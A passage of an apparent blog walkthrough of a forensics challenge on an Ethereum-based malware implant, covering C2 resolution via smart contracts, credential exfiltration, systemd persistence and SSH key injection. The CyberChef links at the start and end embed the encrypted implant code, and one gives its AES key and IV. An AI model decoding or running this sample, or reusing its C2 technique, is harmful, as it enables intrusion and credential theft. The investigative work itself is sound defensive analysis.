ajhtbWx3eEN4aFp0UHVCM3J0M01WUG5WSWY4ZW93c0g5Mys1RDdaTjJlQTk5RE1wZFI4VCt1ZnNrUGtidzNKaDJhZy94WTg4ZEY2ckdoOTF2SGtPb1N5K2hCM1dFTEw5WlNXWEdFSitzWHdRQ2IybnNyZldNZDZUSHFYL2Rkc3VuanI0ZWoyYmpzS0FzaUlCcU1MUmFlUEhsMVB6cVFFMVY4VWg3c1UrRi83UERIQ2I1SnAxcHUwYThyeDRyenlMQStnSGFmWU1EODRoUzZidGV2TmtxeTNQZDQ1MnJDeGJkSjMyc3d6QTB0K1pSb2dEQWk4Tm9ZOTBnUHhremlMVS94aFB4dlpPUXBXcEo2SUVnUHdzalkzSVArcm4zeWNZWmlyUFpmQXdlbG91Qkx3Q3JLN0tCR1RoT3pYeE93VUlwc0FIM1dxc3NBd0tBbWYyNHZWeWdyTU1JTjZvZXQ5WXhqR1VBUkpsRmpZTlhYS0JKa2EzTGJ6b3hJRTg0UEZRNGJvbFl3akpwZjdJNzhOZ0ZLWWdBc2FPUHFaeWtNODNhMUlVZnZiaWhPWHVKaVArcWRNNnJLSUpVQVdrcGNQcUd6aXFETnBkZk1nR3dkUDdEVW1Xc2lrTFhrRThjWU5vRUtKWjFjUnNBaTBadW1DMVJiamZBcmt2a2Z3QnpMT3hocVM5TVBzdFM1WFBZODJYckNMcHRObjZaZWNvUUcyMWxsMGNkUlpDY0FHZ3kxUERneTNiVTZEdVNzdFE5QXBTRk5WNUhmRis2WERHVzlacysza0MzdW9Td2gvSVNnYk1UV3c3bmw3RkVZR2Z4Z3pKNjZITk9RbG5LV09zamsxeUYwL0NPcEZrcjhVdTBwS2M1S0hKSmhsTCtQczg2eWZMR2Qwc3pKK255cVViZTlLUGszM285VWVKaU1FdGFTYXBSWVBFQ2NUUUI5QVhhYjdBK1BSTFNvUmE5Ry9vbHVRWVVKNktIekZDdCtMNzgrUUVWZ29OVWI4QysxZlBMN0VXckhRU2JTc0tzcDNMOERQNFdOUDl5MktzMnl1MWhNQS8rSG9GK0RBd05BYzhJclBnNkJjZEVlNEhRbTRWR0dxaks5SlMyeFZTY2hQTnhxYXRZa3ZxdzNBd3gwZlR3NXordzYrUk9rRTlCZHAxajZKRWpUMi9jYklWZ0ZvT3dSbjBnanlkVXZMTVdwZzdBOXM4dzdnQXQrQkdtT3VqV3c0NUZkNkF6QUY0R05haGtPMll5Ti9BN3JFaWdUQ2dadi91RUhYeU9YM2s1Mmo5ZFBxVE4zK3kySk5PZGsxQXp4THZpMjd1RGRrVHEvOW5sY21IRGIvaTUrTUMwc1ZmU0FNR0NYcFdRODc0WEhZOExaZ3liU0x6STlnSHpwSjBMODJ2NlF5dHhXVldrU05rVy9jS1VwTGdiNTdEeHFnNGRHS2sydmJPRUxCR1k1YlNIU2x6R1RzeGk2Y2owbXFsUDU1cThuMk16NWVSYisxclRtQVNPUzVTVk1PWVJsZ1M2TW9ZdkRVSzY0UVNmWW9SSFFaZm1nMWxIT2dMaDEvaHgwVGlsQ3M3T0drREQ3c0ltVElIdWpGZ2ZsZFh4WW5nRWRoL0F0bXlwbWxjYktnVEZsbWlCL3ZkQ1lmN1JPMEk4eVhXQksyeU81bkRsNUJyVUsyTDRVRzZXZm5jejZZQ1Z4bHhGWU9seUx4cUhyRHJONERtSm94d05WdFY4NjUwMTBkVnppMWVCVUNraHNrLzJPbm9UYU5kbHZKYms0QVlld1luTEtlZnJiQ1dvaXdzeFl0bEpTTWIyamUxMURUNjBSeTkxWDhPNk1ZdW1tSTkxVWlpUmVSYkdtb000b1hZMkxGNXJBSmpWcFd3VXdkSGlBTWlTbUJWTWJ6ckNucE5WN2xYVU1NVzR6bG9oMjNxa1FaM0pIYzh0RElLOU1nQWNtb2VUMyt4SXFBMG5lOXp0cnppMlBkYVdpeEJOVmMrczNMSllmZldkSVhKVDhaVUw0U2NFQ21sdXU0aC9nNFpoWGcwbVZOVTIwR2JobFZkSWZORlkySEMrbnRqejgrcVlLOFl0Ti9rU1ZEK1pLQTgzZnpGamh5TForeVJkVmI3M3ZVQmFZSFFNNWZJSTcxQ3VGbkpFNjI1UWltYVh1ZWZISU9PSXlGcDEzSWdkWlVHb3dSdTdxc1c3OVB0Z3ByTUdVWUl5dE5wMXYzTnNYek14R0tLYTRJZGtnNWdodHkwZ3BsOWhqQnlhMzFDQTJZaGdtNzZtMUt0czdsWEk5NE5Fc2tvc29ZQ0d6TEVvR0N1cm5TZHVTbzVPdkVBMEhuSWFHWk5JM1ZDSEF3WjE1dlZYOFRxVTVSa0djTVVzVEhFaS9qaFcva1R3d2RsWUU3bUgyZXJ6cUxRTXBuRkRBTUZUaEJZbWZ0TitjZDIvNjFQdnhUQkh4L3FrMVNFZUxFUGtTVWhacUYzWEg1SkU4SlRUS3owZkZnMThzcXYyS090Nk1lYytWdjQ4ZExjMDNzWnBBdWJUaXFhOGhncmp3OWN6a1JieTdvblVnUUw4ZXFTdXlNeFpQczlKTkdzR2VyMG5kS0pSTVRKRlJXMnNqVW1RY0IrN040TCtuVGw1MDgwaEs3UW9CRXZtYkdremNIR2IzRktycTR6NG9MdU9raUdmTHhBN0NVTW1hYytWbnlKd3czSkFORGdmMUUwbmlHUkwxaWU0NlNKa21KaGJYS3krTkhLb1BzTU1OVCt3L2RkRWFsdU5wajFXMFdGN25tUWI1VUF0aUdRTFUzZGFSVkFjaWRsZzdXMXZBUmg1TlNKRGZGcHVQNGkwdTU0NjU4Tm5YNHZhT3FOZFBTcjdaR2daUU4zeC9VeDExZ3d2cEY4Mmo0SVFlR0tQQ3FVQVZsc2hFeUNiUFpiSURDYUx1cHFZR0w1dGpvVkVjaDFEN3FPcC9yemwwVHlEMHB0OE1VTGtQZWVsR0J1YnA5dG5hZG1MQVowZ3NLZXFPeTlkc3FoTDRudUhzOXgxZmZQK25mZFpMMTcyN1BGbHdGbFVOdS9leVpBYjdZclo5RGplUndvTzRxckRnWTdvUzFPeDl1dVYyRmF0V3JHZXdVSE8raFpEOTFqeWlMRHJscVdQVytjVWhPZmZINFZsd0ZDdWlMbXFyUXFhOG9PVHIxREphMGhTZFA3akoxZkFkZTdWR0diZ3ZLWHZMQ08xeFFDNjJoaTdsZi9tdTVzTlpycE93bGl5NWYzQk4zeVZSV3MwSlFRNWpzTHlRYlRZWEs0K0pxNUZMVnBOcmg4R29rcU04OUFvdjV6UFY1NVVOazZMUE1ldXp4NXdTcDJDY2hlbncrT0pmRFl3STBGMXl0cDkwcmRyU1dCWHlwcXd4eGsyc2pDVkVPNHVxUWtZZ3ByRmlxdGZLL3czYlVlN3hxQWttaXVZaXVZUFA5YmJlU09tQkRRSUVCQURjTVUwVWVsR0pOTG1DZzRtUUNJZkpmVHBBZEJWWkhFMHQ5bmRhWjJpcDZkKzlrY3hxVXNSckY2UGpHYXdzNC9EUlhObGl3MVV3dFdqa1hhQnk0WS9EcVZ5Z29DZk1UU05Zc29McVZOWjZoQWNEbnBMSGpVbWhPdytxbm5aOCtUZ282aXlQYVJ2MS8xcFdZSVdQVEVra0NLNmtuM1UvZi9qOWhsYlJvYnM5RmY3UEYxb1ZwSTRreTY1V1lrdi90Y0FhRFErUFptUlhxU0J0cVcwUEJaSVltNGg5R0dRbVl1RlVlUndqaHlBK0IzZ2ZkUFhLV3kvNHBjNzd4SWJaMzJUZlBPMUZMZ09PSWlIL2JXYTZoMktDVElzNTFydlpIUjBXT0xWVTBLT2FnSVFBdWpCN1h2dnFDSjcvRmk2VDQwNkM1SUx5ejEwUTdmRitla2ROb3FQbmt4NGwzS1p0TENYV1RqM3dOSDJRNHBhUGpzYlBZQ0RZQlJMK0N4TkFHcmxpdGlQVWNPWHc4MDJEWEprbWE4RTlWMXVLbkw2WWJ1SVhHc2Y1U1JNZ212a0RIQi9scFdybE1pL2d3ZmVaYlVqT2ZLclppZzROMHF5bW9QSHFRWmtDWnUwUG1nMy9ISzd2a1RxMnlWUjQyTE5ybWpJRVNJcDZUSTNqcy95SU56KzhCaFpaaGJ2WTQ4dzdjZU1NRDhVR1RFWmR6WStVcnF2N1pGY0N2SkwwYm9FbVRVVXUrNmU3TmpCdU9wMDBZNnRyOXQzYnRZeHVDTlZQdS9RVGV4NHRISU51WVE4dHhhbit2V0MxRjFkQXhsSHFvS29qWHR4VkErSGcxQjk0R0NWWTAxVTBRa2FNbFYwcVg1aCtqTTFLNGFzQXJpTEhEa0szaFRMSmMxRzgwSkFMOVA1cWdmRjZaQ0NESFZ6NnBpZjNQR2s4cG10WTBBbXI3bC8zOW44RExISFJOSHgrOCtUcHJMTGFTNlNFRys1QnZMRnNoejFPYUFTWkp0RnNWWnVLcVlIRVBhbHlwcVl4Z2xQaFlQR1V5SDA4Vmp6SmdVREQrS3lWeEplTndjSXNCdWRDMUkyYjJtbWdPTzNsVlJtbDh2bVlaM2NZeGNYKzc1L01YanpZZTJob1NkZTNad3A0T3lwdEdxRU5vMkZzc3JyYUJVeG5kV1BMc3FMUGZFY1U3K2E1VWNWNzltTjlENXdydzRIVzJVVHJ6b0FUV2JtUjFSM3R4WVNJVWNnRC81SExrTWEzVWh4aDdBQWhZUlRmV0FoRTdZaVQ5TUVVTTlSN01VUnJ4clJrdWdUZXhOY1FCdXE3VE94S1dWclpMcUdHN29jajFkbWQ3V3cyMkFxaW5sZTdZcGpqb1E0TVhGT2VIWThrbmtJTnAzajlwaXJ3MXBMT2VIN0hlcUJKNmkxRmV2V0VFYUo0bHJlRmFmZ3R3S0R6dnJlYUc1QXBpYk1NMndkYytmWUdrRmNSOWhzaDFJWFhsMjE3NFNtU0JRaXoyQWZtZW82Ly91THVPcFNpS1lFWm1Wc0NwaGlGVHdMeGJWMVlBdXlsVU1xUFYxWkFrajlwcUowK2xXMW9ycUd4eUFZOTlMb3dLaUpleGJ3aGo2WXVHTVFlRGNsdU5SbitrU0RGMWlhRlJQVW9ST0d0Sk1tM3EvZWlMc2lNKzNzQU8vUDhLeVlNVW9YRDFXRDEvY0NPdDI1bFIwcEp4RXpVV05EcVJyMmw0TnYwRXZRVkYrbm4xSlYzUlpuSUNjRmtwd2VsZlhDVWtFR3VneW0rQUR0TnBJSWRaTncrTjFqQ3VERzRUaSs4Vy9kYmU4RytHNVZoaUpLVXhTNGlnSUFlcXk0U3E5UVU4emU1NFA0VlhnUHpvM3htOFJUQkd6enNTcUdMd1dVOFhOdGVPSFVmcEJaZ0VjakxaY2piMFNzRmhtR0JTQ042VjJuenBnS3FSUy9Sb0tiMVZyVXhSNTZYdkc1bGNNL3VrSThFcHBSSk42Y3ZFRTZQbW5vMEdsTzdCL2hKdWxHc1Y2cU9QNFVWYXY4VElTNzFhWTdIQnZJbjkrdllPcjVyb2RTZ0MwcE1PZitvQkdMbXpsTHRuZ1E4aWZwOHVFZHBBZGRQTGd2L0N3Nk5KL0UyQ3FkT0YzVVYvQkpIeWI1a0dtTk5WS2luOHdzWTRjbzJzVzFvcmNSZWRCOENpcE1MYkxNMzlWVXpXK1V4QWJWbmlYNFN1OHJZOTA5NzF3Zy83c2xPL01sUUJlcHUvWkZYRUYzL3VVN2FVM250WG5wMUhyNVJFMGdhc29EWjl0ZjZJMTNDMm1zdWVkUWtpa2ZmT05MWFJwdTRHZHpRTWRqejlxcnE1VVRMZ2pjODYvNlZYQi9GUTR0USttZUNEUTd5NEw4ditQTG9QV1Z4QjdKb3hLY1B5dlk4QlRlUHp5MnJ1clhBamxVUTBpeURaRzVTQmNkT2hYQ3RDbHc1OWpmRFVrRS9PNTRBczFzcGRYa2UzVU5xZWNydlI0ZC81WmcxaXIzSzFFUXlxTkJRbmJKRU51NGx1dHorTjJBM0dlaDhPaEpGckRNeVQ5d09HN21hSDkrQzZWV3FOelBzNTVHdzdUajVtVGlSNURDbDNKTEhDUzA2TkJYdE81eGx6cWJaSlBQZjZLUnJnalJYUEc5NDlWR3FWck5HYldZenRNMlpGVyt4YjM2ZXJ0M1N6N01aWFVjMTRuemdRaEpEK3lYTXFVbUFGOUUvL090QW56cGxXWDRuWWdLTjI1aUY0bW1PWEpjeWMyU1FsVlVqQlYrUWtVNEhXOU9yZmdHeXRTekcyS3ZHMEM3bVpkLzNGK3p5blZ2d3o3djlRbE5EK2pQKzlXWGFnOG56WjJTeGlFSXVoTXVsL1MxWWRFbDNlbTcrY09sTnFiamNYNXJZcFEzZGpDVmw4dEFYbnJZZkxYYzYvQjB1UWlGVUZHRkxuekMyYXF4WVFiSDQzeTFlc2IveVhQM3FwZ3BtLzhsQmYzYXNvQ2Y4OU9aaTZ1b3grL2tMQWNacU91VEpNY0cxc0txMUFRbWgvSGZhSk45UXBDb2lLcXd0aG5pUDlIeG1wdFhuU2d2WFl4YTVIRU1XYmlVVXc9PQ0K&amp;ieol=CRLF"><strong><em>link</em></strong></a>), and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XwliWI_7zc0yc9ZqmStimw.png"></figure><blockquote><em>ru</em></blockquote><h4>Command and Control</h4><blockquote><em>Q7: What are the two smart contract addresses used for C2 resolution? (Format: in the order they are queried)</em></blockquote><p>from the same previous decrypted Code, we can get the addresses directly:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hE0YcyeMOq54R9g3W-bnxw.png"></figure><blockquote><em>0x22f96d61cf118efabc7c5bf3384734fad2f6ead4,0xb0cbaA51b3D1D36e8E95F4F68dfBd47ED2eaA7a4</em></blockquote><blockquote><strong><em>Q8: </em></strong><em>When was the primary smart contract deployed on the Ethereum network (UTC)?</em></blockquote><p>from the previous image, we can determine that the first contract is the primary one, so let’s check it online (<a href="https://etherscan.io/address/0x22f96d61cf118efabc7c5bf3384734fad2f6ead4"><strong><em>link</em></strong></a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aPd7rSCxmtWKETFs0FWJhA.png"></figure><p>from etherscan, we can can go to the full contract and get the timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1b49WyqSRaq0eCbTt5lBw.png"></figure><blockquote><em>2025–12–05 19:13:47</em></blockquote><blockquote><strong><em>Q9: </em></strong><em>Since the smart contract is deployed on a public blockchain, its source code can be obtained.<br>What function name is used to retrieve the stored C2 URL?</em></blockquote><p>in my case i used the <strong>Dedaub (</strong><a href="https://app.dedaub.com/decompile?network=ethereum"><strong>LINK</strong></a><strong>),</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fF323Jdez5fYAMyCYgJfQ.png"></figure><p>Now, we can put the input data we found in the contract into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Oh81N33V8YqCkQcYZ8AOwg.png"></figure><p>just like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G154ODPFOTdcasi-ynJKSw.png"></figure><p>and now it’s decompiled successfully:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qowzdk5elLA4qgRVlVLxvw.png"></figure><p>it’s basically a minimal storage contract that lets an address store and retrieve a string mapped to its address, so let’s take that full string and decompile it again into <strong>Dedaub:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*iVRw-hfNFZW_GSOVoEfn8w.png"></figure><blockquote><em>getString</em></blockquote><blockquote><strong><em>Q10: </em></strong><em>What is the transaction hash of the first C2 URL published to the primary contract?</em></blockquote><p>investigating the first transaction hash as shown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tl53TdpxIJJqTDop5dbvyQ.png"></figure><p>investigating the Input data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M4ecRRDl-w8AJdJY76sHDg.png"></figure><p>Decode Input</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NOsjBzDnt2Qf37-HFYDD_g.png"></figure><p>so yeah, it contains the C2 URL, so hit the transaction hash for the answer</p><blockquote><em>0xe4efe4d2b118229161f7023e13ab98b54180fbfb1756d11959e4f19238b9655d</em></blockquote><blockquote><strong><em>Q11: </em></strong><em>When did the implant retrieve the C2 URL from the blockchain (UTC)?</em></blockquote><p>falling back to our pcap file, we can use this filter: http contains "eth"or search for eth_callsince it is the JSON-RPC method used to read data from smart contracts:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kJb0Po9Gj_4QQTvyq8uz3Q.png"></figure><blockquote><em>2026–02–10 18:37</em></blockquote><blockquote><strong><em>Q12: </em></strong><em>What C2 URL did the implant retrieve from the blockchain during execution?</em></blockquote><p>we can see here the traffic direction:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FxTlLcV4mhsHLUPEabMbMg.png"></figure><blockquote>https://63.176.62.199:443</blockquote><p><strong>Q13: </strong>What is the Bot ID assigned to the compromised host?</p><p>the same previous packet, we can get the BotID from it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rkpXQSjskvGmv3a0Wg8Vvw.png"></figure><blockquote><em>4ebfbc8aedf60511</em></blockquote><h4>Credential Access</h4><blockquote><strong><em>Q14: </em></strong><em>Once connected to the C2, the implant started executing multi-stage payloads.<br>What is the endpoint path used for exfiltrating harvested credentials?</em></blockquote><p>checking all visited URLs, until you'll find this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vd-LrB1oTn8r6Thr3wBmqg.png"></figure><blockquote><em>/crypto/keys</em></blockquote><h4>Persistence</h4><blockquote><strong><em>Q15: </em></strong><em>What is the filename of the systemd user service created for persistence?</em></blockquote><p>Since we are looking for Linux persistence via a systemd user service, so the goal is to find where the attacker creates or references a .service file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JVtINF_p-jFg3ydIBAWeaQ.png"></figure><blockquote>c16a536e1a9cb42d.service</blockquote><blockquote><strong><em>Q16: </em></strong><em>What is the comment field in the attacker’s injected SSH public key?</em></blockquote><p>we need to know first that the structure is like this:<br>ssh-rsa &lt;public key&gt; &lt;comment&gt;<strong> </strong>, so by the filter : http contains "ssh-rsa"</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0xvHlOKrtLg1po0UNKyWA.png"></figure><p>single lonely packet, let’s check its TLS stream, and get the answer:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8TMfQfUI5fg2j8vj-LntLg.png"><figcaption>BINGO!</figcaption></figure><blockquote><em>maromalix@ether_dev</em></blockquote><h4>Execution</h4><blockquote><strong><em>Q17: </em></strong><em>When was the first remote command executed through the C2 channel (UTC)?</em></blockquote><p>this question and the next one <strong>Q18</strong>, have the same idea.<br>from reading the full decrypted AES js file (<a href="https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)AES_Decrypt(%7B'option':'UTF8','string':'a3f8b2c1d4e5f6a7b8c9d0e1f2a3b4c5'%7D,%7B'option':'UTF8','string':'d4e5f6a7b8c9d0e1'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)&amp;input=MkhWbmxwUnh3SnlNRjAwWDlXamxTbDV6MkcrQnB3ME45MGVKQWtsRzJZdmVBdEJnTldDUDZHT1VHNXRNZjBxQzRRaVM5TGRBQnFJcGZyRFJ4Wnl5Yzh3alN6cDNZUVZETDBUMm82Zi95Ny9WQktGMTAvdjZ1M1JBZ0VZQU9iS2dkNGJzTnNMZmkxQ0F3Q3RhY2xlSkZIV2dGQ3NLZGtLaGhqL0Q0MC9qTnBnUHhkZE55QlM4Ni9jaG9KeTRsTWovTXdmMmhscWluQ1FkbmJGQXkyeDBrSzJxVGZKMmRyOS9TcDlRMkZQQnNKWDd0RUF1REE0QkRyTjdydzVVQ2Y1dGpEbUt0NTZGdnp2Nmlxcmlxb2dSVWVLTDgrVDFZMkVUNGJwUTRwczF3bHZqMzErQlVoVHkvRXNYWm42bzY1MkQ3M1dMYW9WRC90L0NPR09yNXErNXZ5ZjJkeXRaK0ZSTW1pSXZtK2xuVzlDMlFZc0xxYmRxNnNRRWRoU254dm5vUzRUTkhqMzZPdXIySS9JcXhZbXBCREFzYkZucitLSXA1cnRTUFJGUng1QWx5Tm1tbTBFNHArb1l0WUxHbVFlTlFNU2RGWTUxa0FhZGpoNEhzTVA3eEdaYW9Rekc5V3RHYjc5LzgvSEhjOGxTcFpWL2JieVQ0YlN3a29zWjFlRmVlU0hLaFZPczU3UDhCRHEwaXFwTXI4RmF2TmVPUU41VFNOUjBicHppendHUjQ4aGNEdmp0cVdlcndHQlhZNkY1NGFsUzhienVUOUFwS3JFS1hEUksxeGF0M0NkREJDbzdjSGx0a3NveHVXckx0TnRaK1F5ZEEycm5PWVh4UzExQkYzNGl5WDdZSlB5K1NWN2hjam9ZcnZjdUxaNElKY1RpWkRQY0xNNmtBM0t6Tmx0cjdVQ29BdjV2dVh2clk5YmVrV1pZRThHd24wNWJQcVNHOWZYb2xmOGtLTHFXTU5HUjVQS2MwYkRjS2RHVXhKT3MvaVlGWDFXeG9LZThkVkswRE14WTlZWUJ2czdmd3I3YXdTWHpOcnJQM0kxbzVZR0RmZ08yQXVTNXorODlvcWZGSFJlSFY3ZmxWL0lySWg1NXFXME1aWmVGSW5uaU01Ny8wd2VqUERaTU5sRmR6V3pObUxkbWRVL0VmWFNXN0hFMGZsSUQySmluZU8wNFJkSU04bTRiR016alRYckU3RW9jSExhZDBEUWZlV0tNTGRNN0hOTWYxWkxEeXlxRlJWZUhKbWhuNklBL1F6T0dSOTlnbWdFVHUrZHdrSUhTWS9QdzlFcTVqWG5FVGNKaFVxeC93Q2NwSVBLUllZOHRHNHNQUURtZEdIUmJac2V1RDVzQWFyRHNWU1B2MmtxbXUzK0hsdTh6eUJLZlBLQUlCeGpSYmtoNnNOMXE4MHVKYm9kYXVPZ2E2MDhiU2NmVkRGY0NCMldIY2RROUlrY1A5Y0dBdWt1aGptSFltYzZIY2NqSWYyeWVyZ01YNHJQVkRqQWU2RVdwTTR2WTN4MmNwQjY2Nlk5VmdQM2lIbVpNRVNEbEpXMlBiVE41RE1oRVp3Z21mZXdYazFtQTlMTEpXNWpHVUErR29KbldFSVhrbnhwb0Ywdk1pSFVkRWFPK0xqNjJMcTFmU2VBZUdqRVY1NmtJc3p5cHF6TWtIdmtqSTFNakVTQWtZU3A4bHBRSyttZHB4aGh2ZjlDbUZhN3NoRlBRSHBsb1pSUHJpMjF2QVVzTjEzSXFEQmZvT2pKZFpIN1JlN0xyNkdNb0xMQkx4bDhYUUplWllZQVE0cFZ1UXpxa2hWM29KQ3lvNjExYW9jSXExUnhPMHA3TTZNMVVXYWhRWllIWE1PYzdQcjg0RWlSSU02aUd4d2d3NCs0WXhHWkE3RTgzanhobWVPZVRnRHczTHZUY0VEeDQvUUN6LzlTcjlBRzY4eGp1emg5UHR0TjVsQ2QwTVUzQ2o3dWdpelNQZ0hVMEdFMEJCWElmUVFtalA0UVBya2V4WkcrVXZVZDBKV2FOZjhYUnNKZ2FyY0xCQlAxV1pqbGQ5d3U5eGx5VnpJNXZBL2ZialRrUFcwOWFYbmlqQVJFQzFEejlEaG96dlM5S0x5bnA4MjQ3K2MrU3VsSVdrMTh4aDJ6YmxJZEl6R056bmFVSjJoN1hHRXZOVkxlamVLOC9oUWxnekV6ZUVoV1dJK1RpblB6S2FUZTlsWUVLZ0FOcnYyb0ZwcDg2Z0dSclh1YkZqODNVc0dmZFoyQy83OTVNbXBhMVZkczhNV0FkeHA0THlHcDhraWRTQkFwRHoxdUUxTWh1VUs4b3l2M0JsYlJCankzemozbVR2UFRzNUJ6aWZXaVVmekM1V3VUUEJlU3pXcGo1cmhkK1UvcXV5L01HYm9wbDk4UGRRSllKWDlsaTlUSVZwU3hwOWtHcG14aUtPZnpkL2FHOGdIa1I1ZWxhWGN6aTFyVUJaeDdKU0p4aVpZZjB4UUMyK0ZHeGlZbXl1UHNYK2hGb29IYWNtTGw0UVNGK3ZYdmJJSUg3QkM4c1RxbSswN2lwRGdpLy84UUFzUmM5bnhPMjgraDNOSlM5L003OWdsK1pNanJqWlpzY3BSQzZLa1RCQ2JOY1pHUDMxeHlHTDhPNE5iSnlzYWRaMTBZdm55RXhlNy82M2Uvc2wyK1doNGVXdjlieUJQdFltYnhQWVlQaW9WbzZ6VXpDVUVFczNYTk9MTkFCbjZ3TlNmSGVEVDdGVW9sdk92S05HdldVbURVZUtjZElkdWoyRWUrM1YyMUUwSEkzcjJvQUkyZUZSMzNSN0MwTDZKTFhIUmNiZFpsV2NJdExtSnVQMHVYa3cvbkcrRFFqYWRTbEhONmllSUdjSGlyRGU5NDhMTXhtZVhTRHN1aE9OeWU5SVF3ZFlTdnBPUG83WWZTMmJtMGdpSlNLZDJKaDBacWw3aCtFT0MxMUdheWU1RjFMd0JkU2JEK09OMUxzM0REUzVLeVhraG4xMjFSTWh4bnBxZlE0YUVyUUlIaW55dndOU0k4OW85TW50WkNHMGFWMnNHbGo4VHpFemg5ZUhBWEFpdUEvanp5QUpHYkdNMnlOT1BIODBMUUNkZnRIT2ZqdDVEL3RENU10c3BOZTUyQXdNaDQ0Rm5oV0VJajIxK3ByV3o1NXF1MHpHSHJpekIwOTFxYWJOaFAxclJtZlNrREN3dlFRM2M2blp1Zk05UURidC9UdWJUR2JVTElITXVoY3kzelhUdDBySWdXTlFEN1pCWUdxOUZXM25uWGwweEY5WDVDK3BGRHZLN3pBTnhJZkZLRkFRejJkKzE5dklrdlMrWHFacDk0eW45eS9xZlB4QzVZTmd3VmpNaFhrRnY1dm5nTDVxRDdBeld4RThySllUQTFtKy9PNkdqU2x6OEttb1prcTArU1lDSWc2bGVPb2grSi93YVNUcUdtUitsNjZBWi9sK29UWVhpRkthNS8rYW1PNlF1MnI2UFBlWHg2MFNwaXVDd3hjNUhyMGFiOTlkbnpubzNMME4zSnJ3RGhPTkViaUcyYktDN2xBV1VJdGVKWWN2cGFWSjcyM2xvcmluUDNHa2ZsMXhDTmV4QTFLMnFEZ0x6Sm0rMk1IS2pCQXg5QnBMZXAxRkg0eFFNMytJeklINHVDUVp3ckRjYWY3N2o5aG5hSGVHRUxlcWQrZW1FWVNsckEyd1lBWEQxa0Q2TFVuY3UxU2lIN1liSmREOUoxYUhTZ1hVT244cFNObXZ0dFAxbUIxNEpMTXpPd292d1ViN3pZNEtlOVR4bEVIT01GU3QwNHFOanRKL2pkK3QrRHpWRmdqQUpDWlNaMnpFS1d2K3N2azhuTWo4UW4wTkcxYmFaUXRmdkZQa2lRS3BwOCtKbTI0cjRoUHVQSVdLSVFTclZRbHlOVHAxL0JNRDdQWENtTnNlTWMzdG9iM2NpUXFENGE1VCtWdXpmUmhpbXQzYTFMTHVrblFpU1VreTU2TVNZdURlS1dFOVMwRXVEeCtxRFdsWk5vNzNpOWRWaXlWdjEvRU80dVZnMmpReWx4WFNqK2xQa2c0RGJKTEUydUtYMGhsVHdTaThOS3FjKzk3SE9tSXNoT2VuckVXZ0NreDVUa2lrQWJvVzJhRlhYbkNxV1ZDbmlOalNRWXVjdFpDRWloZFVHWVBxTDk1MVpwMlZYWitUUzArTEptZVFtQjBIeSs0M0I0MGtYcG5UQmgxYk83eGdIWmZGRzhqOTRveGg2cG1qa1hYenh3djk4WDlmQUVKd2dUV0Q1UDBjSG5FOWtHcU9WV3VYMGVZSW9vd0V5ajRheEwyVTFha09FdHgzUHU4YVFZcmFtUDNEN2ZTeWRPVFhrRGJCTFVXR2VYNi90M3JmWmh0YjQwdTk1ZG91dFllVG9aYy9PZXBocStDRWpMQ2RTajRnQ250VE9xa0F0dG5STHY1My9Xc0k0ZzJwdUMxOXVjS3BFVEsyZTRrMm52bVJJQm92cmNIZXFOcXZIOXZqZTRIYU1LcGc3L29ITFpmZm9jWEFXSERvWDBxa3VMLzZtUUtvS0lwazNKM1U2SHY1dXRab0dEa0Z6UkpuRDRHZUZhWFJQVHpSQ3FpTldrR3pjdnREMDhlcEI5aUdVaWdXdm5sSWhCeTBvRXFLZ21BU1MyZmdCYWRxTkxmR04vdkFVUW9uRWh4M3ptNjNmZmFUclBBWDY1V2dUSXkxRDhSMjdvaDRwdkRsUC9Hdnp6RG9ZL1dCSGhlVlBEcFA4TlA1MmVxckZSdXVBSm03SDJ1T1BPUlJ3SWpCN1RTZGFrYTEyck53UnFlSjBqbzB0QU1HdmhHZ083bmxDRDlZOTIveHNWdDNvaXc3eDh1ZUJlRVpYTXM4MEk3dWNzUWtPOGtmR29nakJ3dXE3dlhPbngyN0d0M0pqL0ZBUWFPYkVOaVg0TURhMlkzWXpub0o1bUtvQ3lOUkNCNDFGZm1FdXY4Qjl5TTdaL1lWRFVmcmZsbFhKTTR5OU1jM0VxSEhOdzczUjR4dWFYQU55THpsVS9LZUJiVGZJcVJWNWIwRW9ZZ1YzVEc0dzJWdVdBN3FTMWFuVnlpdUJzR1c3UnhXSXV2dXFxaDFURUMzdkVDTjFVd0YrZ3VpbmRFVlhYQThEOThjYnVBSWVYK2I3VVBqV1cyRlF4eGxtL2VEYml4aU5IUHlEY0tvM3RXa2xJN3djWkY0bTNELzlkakxsUnlLWkthQlAreGtZaHBNRGduV2pMQm5XL05ZV3ZZMUNWL2I5R2I2OEdXZXNGSWRXK0Y1TDZjMjRLT0QwbjdFRUs3UU5neFRGY2hIZlozeDNhY3hJdnN6d3RLS3VSMWF5dXRUTkw5T2puZWw2aTVBUWVJa05ORTZoTGNsTlJyZUZhQWltUzFwdXhOOUZTck9oTVc3R2JmaTRhNHF0eHVGU2VUd0pVUHlzNjcwTnQrMWhQRktBcjg5NmVLRmo4T25XcUpweDV2TXpsMFpadGJ5NmFXSHQyR2EvWnFJTFJFSmdSL2VZT0NtQmdwdm5DL3RJdVNQTUZYN01Tb08zQjJpL2RIdmF4L0ZOK21kUkVOY2JoQTJHYWhJaWlmUFQ5NzlJbk